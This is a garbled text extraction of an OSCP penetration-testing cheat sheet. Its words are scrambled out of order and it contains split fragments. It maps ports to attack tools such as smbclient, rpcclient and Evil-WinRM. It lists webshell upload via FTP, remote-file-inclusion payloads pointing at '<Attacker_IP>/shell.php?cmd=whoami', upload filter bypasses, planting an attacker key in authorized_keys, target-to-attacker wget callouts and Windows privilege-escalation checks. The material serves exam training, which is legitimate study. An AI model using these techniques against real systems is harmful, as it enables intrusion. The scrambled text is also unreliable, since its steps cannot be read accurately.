Oscp Guide 2021 v2
Oscp Guide 2021 v2
Oscp Guide 2021 v2
Anonymous Login
Possible Filewrite to access through Web
File Write
21/FTP FTP to file upload ==> Execute from web == webshell
Tools
or connecting to SMB server for accessing
F
139|445/SMB smbclient those shares which are available to access
Tools
or connecting to SMB server for accessing
F
smbclient those shares which are available to access
USERname Enumaration
135/RPC rpcclient -U '%' -N <IP>
Network Enum Tool RPCCLIENT
With Password
5985|5986/WINRM/S Remotly Windows Machine Access Evil-Winrm(Tool)
With Hash
161/SNMP
snmp-check
Tools
snmpwalk
Webshell Writing in Web-Hosting Directory To Find WebHosting Directory Use LFI list
Oneliner Priority
b374k
) Check for Weak permissions in services
3
and its binpath
Manual Approaches o Get Information about Databases,
T ind Username password & try same with
F
Tables
other services like ssh,winrm,etc
) Check for Unquoted Service Path
4
Vulnerability
Attacker tcpdump -i <tun0> -n ICMP
Windows
5) Check For Service Registry permissions
Target Ping -c 1 <Attacker IP>
Windows
Vulnerability Exist
6) Check Scheduled Tasks
Attacker tcpdump -i <tun0> -n ICMP
Linux
Fails to Check Vulnerable Softwares PowerUp
Target Ping -n 1 <Attacker IP>
its like using sword for sewing ...... WinPEAS Automated (best for beginners)
Attacker Python3 -m http.server <PORT to test>
s ometimes creator forgot to use latest OS Check Windows
and this can be a luck time for you and Windows exploit suggester.
Target Powershell wget http://<AttackerIP:PORT/test>
you might find something.
keep eyes on 127.0.0.1 Check Internal Ports Windows 21,22,25,80,443,445,53,123 Priority 445
Common Ports which works all the time
compare with nmap result you have Check ports blocked by firewall Linux 21,22,25,80,443,445,53,123 Priority 22
Modifications
Find Automated one bash
hangelogs.
C
read and understand complete
1) added ref links on each topics many
2) minor changes
se logics as most of the time instruction
u Instruction Based Exploits nly works if user is not daemon (service
o
based exploits requires to fully understand 3) added couple more vuln and user like apache or www-data)
concepts enum
SSH method
pload public key of attacker to /home/<
U
eeds less modifications but it requires
N if folder is not exist create it ;)
USER>/.ssh/authorized_keys
like. changing path or maybe finding path
ry to access logs for the diffrent serivces
T
earch on google with CVE number and
S Exploitation running i.e ftp,smb,http
find blogs, exploits from github, papers etc.
RFI
oogle windows php reverse shell and use
G
that
Windows
Oneliner best
ttp://<Attacker_IP>:<PORT>/shell.php&
h
payload should be cmd=whoami
? And & makes a huge diffrence
TIPS
ttp://<Attacker_IP>:<PORT>/shell.php?
h
payload should not be cmd=whoami
oneliner
p0wny
shells
b374k
msfvenom
php.png
file extension bypass AKA double extensions
php,jpeg
php.gif
WIndows IIS & Apacher httpd
image/png
image/gif
text/plain
asp/aspx image/png
Windows IIS server
Content type Check Intercept request through burp image/jpeg
image/gif
Bypasses text/plain
Source Code
Comments
CMS
ry finding github exploits as those are
T
Validating
better sometimes
validate first
Exploiting follow earlier topic checks and validation
use right port to get LAN shell